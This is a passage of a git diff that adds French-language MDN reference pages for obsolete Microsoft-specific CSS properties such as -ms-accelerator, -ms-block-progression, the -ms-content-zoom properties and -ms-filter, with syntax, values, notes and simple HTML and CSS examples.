+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-accelerator
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Reference">propriété</a> <a href="/fr/docs/Web/CSS">CSS</a> <code><strong>-ms-accelerator</strong></code> est une <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">extension Microsoft </a>qui définit ou récupère une chaîne qui indique si l'objet représente un raccourci clavier.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* L'objet n'est pas un raccourci clavier (par défaut) */
+-ms-accelerator: false
+/* L'objet est un raccourci clavier */
+-ms-accelerator: true
+</pre>
+
+<p> </p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>false</code></dt>
+ <dd>
+ <p>L'objet n'est pas un raccourci clavier.</p>
+ </dd>
+ <dt><code>true</code></dt>
+ <dd>
+ <p>L'objet est un raccourci clavier.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple utilise l'attribut <code>-ms-accelerator</code> dans un élément {{HTMLElement("u")}} pour spécifier que 'N' est la touche d'accès qui permettra d'accéder à l'élément {{HTMLElement("label")}}. Si l'option "souligner les raccourcis clavier" n'est pas activée dans les propriétés d'affichage Windows de l'utilisateur,  'N' ne sera pas souligné tant que la touche <kbd>Alt</kbd> ne sera pas enfoncée. Lorsque l'utilisateur appuie sur <kbd>Alt</kbd>+<kbd>N</kbd>, l'élément {{HTMLElement("input")}} qui possède l'attribut {{htmlattrxref("accessKey","input")}} avec pour valeur 'N' reçoit le focus.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Accelerator&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;label for="oNom"&gt;&lt;u style="-ms-accelerator: true; accelerator: true"&gt;N&lt;/u&gt;om: &lt;/label&gt;
+    &lt;input type="text"
+      id="oNom"
+      size="25"
+      accesskey="N"
+      value="Votre nom ici" /&gt;
+  &lt;/body&gt;
+&lt;/html&gt;<strong>
+</strong></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Ce pseudo-élément ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété est prise en charge par Windows 2000 et les versions ultérieures. Elle permet aux utilisateurs de masquer les indicateurs de navigation pour les éléments de menu et les contrôles tant que la touche <kbd>Alt</kbd> n'est pas enfoncée.</p>
+
+<p>Une touche d'accès (<em>access key</em>) est un caractère utilisé comme raccourci clavier pour sélectionner un objet. L'utilisateur effectue la combinaison de touches <kbd>Alt</kbd> + touche d'accès pour déplacer le focus sur l'objet demandé et déclencher l'évènement associé à cet objet.</p>
+
+<p>Dans Internet Explorer 8 (IE8) l'attribut <code>-ms-accelerator</code> est une extension CSS, et peut être utilisé comme synonyme de <code>accelerator</code><strong> </strong>dans le mode standard d'IE 8.</p>
diff --git a/files/fr/web/css/-ms-block-progression/index.html b/files/fr/web/css/-ms-block-progression/index.html
new file mode 100644
index 0000000000..502f1fb6b7
--- /dev/null
+++ b/files/fr/web/css/-ms-block-progression/index.html
@@ -0,0 +1,48 @@
+---
+title: '-ms-block-progression'
+slug: Web/CSS/-ms-block-progression
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-block-progression
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-block-progression</strong></code> est une propriété <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui indique la progression du bloc et l'orientation de la disposition.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-block-progression</code> est définie grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>tb</code></dt>
+ <dd>La valeur par défaut. Les blocs s'écoulent de haut en bas et la disposition est horizontale.</dd>
+ <dt><code>rl</code></dt>
+ <dd>Les blocs s'écoulent de droite à gauche et la disposition est verticale.</dd>
+ <dt><code>bt</code></dt>
+ <dd>Les blocs s'écoulent de bas en haut et la disposition est horizontale.</dd>
+ <dt><code>lr</code></dt>
+ <dd>Les blocs s'écoulent de gauche à droite et la disposition est verticale</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Avec une disposition verticale, les lignes de textes sont tournées de 90° dans le sens des aiguilles d'une montre. Les images ne sont pas tournées mais les tableaux sont tournés. La disposition des boîtes avec un orientatiofrn verticale est strictement analogue à la disposition avec une orientation horizontale : la largeur, la hauteur, <code>top</code>, <code>bottom</code>, <code>right</code> et <code>left</code> ne tournent pas avec le texte.</p>
+
+<p>Seul un seul mode de progression peut être actif à un moment donné. Ces valeurs ne peuvent pas êtres combinées.</p>
+
+<p>Cette propriété est basée sur la propriété <code>block-progression</code> décrite dans le module de spécification CSS3 Text Layout.</p>
diff --git a/files/fr/web/css/-ms-content-zoom-chaining/index.html b/files/fr/web/css/-ms-content-zoom-chaining/index.html
new file mode 100644
index 0000000000..5a016f2178
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zoom-chaining/index.html
@@ -0,0 +1,44 @@
+---
+title: '-ms-content-zoom-chaining'
+slug: Web/CSS/-ms-content-zoom-chaining
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zoom-chaining
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zoom-chaining</strong></code> est une propriété <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui indique le comportement du zoom lorsque l'utilisateur atteint la limite du zoom lors de son utilisation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-content-zoom-chaining</code></strong> est définie grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La valeur par défaut. Un effet de rebondissement est déclenché lorsque l'utilisateur atteint la limite.</dd>
+ <dt><code>chained</code></dt>
+ <dd>Le zoom est fait sur le plus proche parent qui peut être zoomé lorsque l'utilisateur atteint la limite. Aucun effet de rebondissement n'est affiché.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a pas d'impact sur les éléments qui ne peuvent pas être zoomés. Pour plus d'informations sur les éléments pouvant être zoomés, voir <code><a href="/fr/docs/Web/CSS/-ms-content-zooming">-ms-content-zooming</a></code>.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Il est nécessaire d'avoir Windows 8 ou une version ultérieure afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-content-zoom-limit-max/index.html b/files/fr/web/css/-ms-content-zoom-limit-max/index.html
new file mode 100644
index 0000000000..b683e617b5
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zoom-limit-max/index.html
@@ -0,0 +1,42 @@
+---
+title: '-ms-content-zoom-limit-max'
+slug: Web/CSS/-ms-content-zoom-limit-max
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zoom-limit-max
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zoom-limit-max</strong></code> est une propriété <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui détermine le facteur de zoom maximal.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-content-zoom-limit-max</code> est définie avec une valeur en pourcentage de la taillle sans zoom.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Le facteur de zoom maximal proportionnellement à la taille originale (pour ce type de valeur cf. {{cssxref("&lt;percentage&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété contraint la limite pour le zoom tactile et les valeurs de la propriété <code><a href="/fr/docs/Web/CSS/msContentZoomFactor">msContentZoomFactor</a></code>. Cette propriété n'a pas d'impact pour les éléments qui ne peuvent pas être zoomés. Voir {{CSSXref("-ms-content-zooming")}} pour plus de détails sur les éléments pouvant être zoomés.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Windows 8 ou une version ultérieure est nécessaire afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-content-zoom-limit-min/index.html b/files/fr/web/css/-ms-content-zoom-limit-min/index.html
new file mode 100644
index 0000000000..e4303cb9f1
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zoom-limit-min/index.html
@@ -0,0 +1,42 @@
+---
+title: '-ms-content-zoom-limit-min'
+slug: Web/CSS/-ms-content-zoom-limit-min
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zoom-limit-min
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zoom-limit-min</strong></code> est une propriété <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui détermine le facteur de zoom minimal.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-content-zoom-limit-min</code> est définie avec une valeur en pourcentage de la taillle sans zoom.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Le facteur de zoom minimal proportionnellement à la taille originale (pour ce type de valeur cf. {{cssxref("&lt;percentage&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété contraint la limite pour le zoom tactile et les valeurs de la propriété <code><a href="/fr/docs/Web/CSS/msContentZoomFactor">msContentZoomFactor</a></code>. Cette propriété n'a pas d'impact pour les éléments qui ne peuvent pas être zoomés. Voir {{CSSXRef("-ms-content-zooming")}} pour plus de détails sur les éléments pouvant être zoomés.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Windows 8 ou une version ultérieure est nécessaire afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-content-zoom-limit/index.html b/files/fr/web/css/-ms-content-zoom-limit/index.html
new file mode 100644
index 0000000000..420ad5c2ea
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zoom-limit/index.html
@@ -0,0 +1,44 @@
+---
+title: '-ms-content-zoom-limit'
+slug: Web/CSS/-ms-content-zoom-limit
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zoom-limit
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zoom-limit</strong></code> est une propriété raccourcie <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui indique les valeurs à utiliser pour les propriétés  {{CSSXref("-ms-content-zoom-limit-min")}} et  {{CSSXref("-ms-content-zoom-limit-max")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-content-zoom-limit</code></strong> est définie avec une ou deux valeurs de limites de zoom, dans l'ordre qui suit et séparées par un espace.</p>
+
+<h3 id="Valeur">Valeur</h3>
+
+<dl>
+ <dt><code>-ms-content-zoom-limit-min</code></dt>
+ <dd>La valeur à utiliser pour la propriété <code><a href="/fr/docs/Web/CSS/-ms-content-zoom-limit-min">-ms-content-zoom-limit-min</a></code>.</dd>
+ <dt><code>-ms-content-zoom-limit-max</code></dt>
+ <dd>La valeur à utiliser pour la propriété <code><a href="/fr/docs/Web/CSS/-ms-content-zoom-limit-max">-ms-content-zoom-limit-max</a></code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a pas d'impact pour les éléments qui ne peuvent pas être zoomés. Pour plus d'informations sur les éléments pouvant être zoomés, voir <code><a href="/fr/docs/Web/CSS/-ms-content-zooming">-ms-content-zooming</a></code>.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Il est nécessaire d'avoir Windows 8 ou une version ultérieure afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-content-zoom-snap-points/index.html b/files/fr/web/css/-ms-content-zoom-snap-points/index.html
new file mode 100644
index 0000000000..e600c0a099
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zoom-snap-points/index.html
@@ -0,0 +1,74 @@
+---
+title: '-ms-content-zoom-snap-points'
+slug: Web/CSS/-ms-content-zoom-snap-points
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zoom-snap-points
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zoom-snap-points</strong></code> est une <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">propriété spécifique à Microsoft</a> qui indique l'emplacement des points d'accroches pour les niveaux de zoom.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-content-zoom-snap-points</code></strong> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>snapInterval(&lt;start zoomfactors&gt;, &lt;step zoomfactors&gt;)</code></dt>
+ <dd>
+ <p>Cette forme indique l'emplacement des points d'accroche pour le zoom :</p>
+
+ <ul>
+  <li><em>&lt;start zoomfactor&gt;</em> indique l'emplacement du premier point d'accroche. Cette valeur est exprimée comme un nombre suivi d'un signe pourcent (%).</li>
+  <li><em>&lt;step zoomfactor&gt;</em> indique la distance entre les différents points d'accroche (en zoom et en dézoom) à partir du point d'accroche initial. Cette valeur est exprimée comme un nombre suivi d'un signe pourcent (%).</li>
+ </ul>
+ </dd>
+ <dt><code>snapList(&lt;list zoomfactors&gt;)</code></dt>
+ <dd>
+ <p>Cette forme indique la position des points d'accroche sous la forme d'une liste de points d'accroche indidivuels, séparés par des virgules. Chaque point d'accroche est exprimé comme un nombre suivi d'un caractère pourcent (%).</p>
+
+ <ul>
+  <li>Si l'une des valeurs de <em>&lt;list zoomfactors&gt;</em> est inférieure à la valeur indiquée par la propriété {{CSSXref("-ms-content-zoom-limit-min")}}, ce sera la valeur de cette dernière qui sera utilisée.</li>
+  <li>Si l'une des valeurs de <em>&lt;list zoomfactors&gt;</em> est supérieure à la valeur définie par la propriété {{CSSXref("-ms-content-zoom-limit-max")}}, ce sera la valeur de cette dernière qui sera utilisée.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple illustre les deux formes possibles pour une règle utilisant la propriété <code>-ms-content-zoom-snap-points</code>. Dans le premier sélecteur, le premier point d'accorche est situé à 0% puis l'intervalle à 100%. Dans le second sélecteur, chaque point d'accroche est explicitement listé : le premier à 100%, le deuxième à 200%, le troisième à 300%, etc.</p>
+
+<pre class="brush:css no-line-numbers  language-css">.snappy1 {
+  -ms-content-zoom-snap-points: snapInterval(0%, 100%);
+  ...
+}
+
+.snappy2 {
+  -ms-content-zoom-snap-points: snapList(100%, 200%, 300%, 400%, 500%);
+  ...
+ }</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a pas d'impact pour les éléments qui ne peuvent pas être zoomés. Voir {CSSXref("-ms-content-zooming")} pour plus de détails sur les éléments pouvant être zoomés.</p>
+
+<p>Lorsqu'un utilisateur fait défiler du contenu ou le déplace puis retire le pointeur (doigt ou stylet), le contenu peut continuer à bouger avec une certaine inertie. Les points d'accroche permettent de modifier ce comportement en arrêtant cette inertie à certains niveaux. Utiliser des points d'accroches permet ainsi d'éviter que le contenu se déplace ou se zoome/dézoome à des niveaux qui ne seraient pas pertinents.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Windows 8 ou une version ultérieure est nécessaire afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-content-zoom-snap-type/index.html b/files/fr/web/css/-ms-content-zoom-snap-type/index.html
new file mode 100644
index 0000000000..d2e52fc009
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zoom-snap-type/index.html
@@ -0,0 +1,54 @@
+---
+title: '-ms-content-zoom-snap-type'
+slug: Web/CSS/-ms-content-zoom-snap-type
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zoom-snap-type
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zoom-snap-type</strong></code> est une propriété <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">spécifique à Microsoft</a> qui définit la façon dont le zoom se comporte aux points d'accroche pour les niveaux de zoom.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-content-zoom-snap-type</code></strong> est définie avec l'une des valeurs suivantes.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>
+ <p>La valeur par défaut. Les points d'accroche n'ont pas d'impact sur le zoom. Le contenu continuera à être zoomé / dézoomé après que l'action utilisateur se soit arrêtée.</p>
+ </dd>
+ <dt><code>proximity </code></dt>
+ <dd>
+ <p>Cette valeur indique que le processus de zoom/dézoom s'arrête à peu près au niveau du point d'accroche après que l'interaction utilisateur ait cessé. Avec cette valeur, il est donc possible que <a href="/fr/docs/Web/CSS/msContentZoomFactor">le facteur de zoom du contenu</a> soit arrêté entre deux points d'accroche.</p>
+ </dd>
+ <dt><code>mandatory</code></dt>
+ <dd>
+ <p>Cette valeur indique que le processus de zoom/dézoom s'arrête obligatoirement sur un des points d'accroche après que l'interaction utilisateur ait cessé. Le point d'accroche sélectionné est le point d'accroche le plus proche <a href="/en-US/docs/Web/CSS/msContentZoomFactor ">du facteur de zoom du contenu</a> sur lequel le mouvement se serait arrêté.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a pas d'impact pour les éléments qui ne peuvent pas être zoomés. Voir {{CSSXRef("-ms-content-zooming")}} pour plus de détails sur les éléments pouvant être zoomés.</p>
+
+<p>Lorsqu'un utilisateur fait défiler du contenu ou le déplace puis retire le pointeur (doigt ou stylet), le contenu peut continuer à bouger avec une certaine inertie. Les points d'accroche permettent de modifier ce comportement en arrêtant cette inertie à certains niveaux. Utiliser des points d'accroches permet ainsi d'éviter que le contenu se déplace ou se zoome/dézoome à des niveaux qui ne seraient pas pertinents.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Windows 8 ou une version ultérieure est nécessaire afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-content-zoom-snap/index.html b/files/fr/web/css/-ms-content-zoom-snap/index.html
new file mode 100644
index 0000000000..2e3b584d59
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zoom-snap/index.html
@@ -0,0 +1,44 @@
+---
+title: '-ms-content-zoom-snap'
+slug: Web/CSS/-ms-content-zoom-snap
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zoom-snap
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zoom-snap</strong></code> est une <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">propriété raccourcie spécifique à Microsoft</a> qui définit les valeurs des proriétés {{CSSXref("-ms-content-zoom-snap-type")}} et {{CSSXref("-ms-content-zoom-snap-points")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-content-zoom-snap</code></strong> est définie avec une ou deux des valeurs suivantes, dans cet ordre et séparées par un espace.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>-ms-content-zoom-snap-type</code></dt>
+ <dd>La valeur à utiliser pour la propriété {{CSSXref("-ms-content-zoom-snap-type")}}.</dd>
+ <dt><code>-ms-content-zoom-snap-points</code></dt>
+ <dd>La valeur à utiliser pour la propriété {{CSSXref("-ms-content-zoom-snap-points")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cet élément ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a pas d'impact pour les éléments qui ne peuvent pas être zoomés. Voir {{CSSXref("-ms-content-zooming")}} pour plus de détails sur les éléments pouvant être zoomés.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Windows 8 ou une version ultérieure est nécessaire afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-content-zooming/index.html b/files/fr/web/css/-ms-content-zooming/index.html
new file mode 100644
index 0000000000..216a176781
--- /dev/null
+++ b/files/fr/web/css/-ms-content-zooming/index.html
@@ -0,0 +1,46 @@
+---
+title: '-ms-content-zooming'
+slug: Web/CSS/-ms-content-zooming
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-content-zooming
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété CSS <code><strong>-ms-content-zooming</strong></code> est une <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">propriété spécifique à Microsoft</a> qui indique si le zoom est autorisé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <strong><code>-ms-content-zooming</code></strong> est définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>La valeur initiale pour tous les éléments sauf ceux de plus haut niveau. L'élément ne peut pas être zoomé.</dd>
+ <dt><code>zoom </code></dt>
+ <dd>La valeur initiale pour l'élément de plus haut niveau. L'élément peut être zoomé.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété ne fait partie d'aucune spécification.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Cette propriété n'a pas d'impact sauf si le dépassement est permis sur l'axe horizontal et sur l'axe vertical.</p>
+
+<p>Par défaut, les éléments pouvant être zoomés peuvent être zoomés au doigt avec un geste de "pincement". L'élément de plus haut niveau peut également être zoomés avec une double touche lorsque le zoom est autorisé.</p>
+
+<p>À partir de Windows 8.1, cette propriété est également prise en charge pour les interactions avec le pavé tactile.</p>
+
+<p>Il est nécessaire d'avoir Windows 8 ou une version ultérieure afin d'utiliser cette propriété.</p>
diff --git a/files/fr/web/css/-ms-filter/index.html b/files/fr/web/css/-ms-filter/index.html
new file mode 100644
index 0000000000..5b0f0a3042
--- /dev/null
+++ b/files/fr/web/css/-ms-filter/index.html
@@ -0,0 +1,218 @@
+---
+title: '-ms-filter'
+slug: Web/CSS/-ms-filter
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Archive/Web/CSS/-ms-filter
+---
+<div>{{CSSRef}}{{Non-standard_Header}}{{Obsolete_Header}}</div>
+
+<p>La propriété <strong><code style="white-space: nowrap;">-ms-filter</code></strong> est <a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">une propriété spécifique à Microsoft</a> qui permet de définir des filtres à appliquer à un objet.</p>
+
+<div class="warning">
+<p><strong>Attention !</strong> Ne pas confondre cette propriété et la propriété standard {{CSSxRef("filter")}}  car les deux sont pleinement incompatibles.</p>
+</div>
+
+<div class="warning">
+<p><strong>Attention !</strong> Cette fonctionnalité a été dépréciée avec Internet Explorer 9. Dans Internet Explorer 10, cette fonctionnalité a été supprimée et ne devrait plus être utilisée.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-ms-filter</code> est définie avec une chaîne de caractères contenant une liste d'un ou plusieurs éléments, séparés par des espaces. Chacun de ces éléments peut avoir l'un des types suivants :</p>
+
+<ul>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms673539(v=vs.85).aspx">filtre</a></li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms673540(v=vs.85).aspx">transition</a></li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms673538(v=vs.85).aspx">surface procédurale</a></li>
+</ul>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">filter: <a href="#-ms-filter-function">&lt;-ms-filter-function&gt;</a><a href="/en-US/docs/Web/CSS/Value_definition_syntax#Plus_()">+</a> {{Deprecated_Inline}}
+-ms-filter: <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> "'" <a href="#-ms-filter-function">&lt;-ms-filter-function&gt;</a><a href="/en-US/docs/Web/CSS/Value_definition_syntax#Hash_mark_()">#</a> "'" <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">]</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> '"' <a href="#-ms-filter-function">&lt;-ms-filter-function&gt;</a><a href="/en-US/docs/Web/CSS/Value_definition_syntax#Hash_mark_()">#</a> '"' <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">]</a>
+
+où
+<a id="-ms-filter-function">&lt;-ms-filter-function&gt;</a> = <a href="#-ms-filter-function-progid">&lt;-ms-filter-function-progid&gt;</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> <a href="#-ms-filter-function-legacy">&lt;-ms-filter-function-legacy&gt;</a>
+
+où
+<a id="-ms-filter-function-progid">&lt;-ms-filter-function-progid&gt;</a> = 'progid:' <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> &lt;ident-token&gt; '.' <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">]</a><a href="/en-US/docs/CSS/Value_definition_syntax#Asterisk_(*)">*</a> <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">[</a> &lt;ident-token&gt; <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> &lt;function-token&gt; &lt;any-value&gt; ')' <a href="/en-US/docs/CSS/Value_definition_syntax#Brackets">]</a>
+<a id="-ms-filter-function-legacy">&lt;-ms-filter-function-legacy&gt;</a> = &lt;ident-token&gt; <a href="/en-US/docs/CSS/Value_definition_syntax#Single_bar">|</a> &lt;function-token&gt; &lt;any-value&gt; ')'</pre>
+
+<p>La chaîne de caractères ({{CSSxRef("string")}}) contient la liste des filtres, transitions et surfaces procédurales. Voir <a href="https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms532853(v=vs.85)">la référence relative aux filtres et transitions</a> pour plus de détails.</p>
+
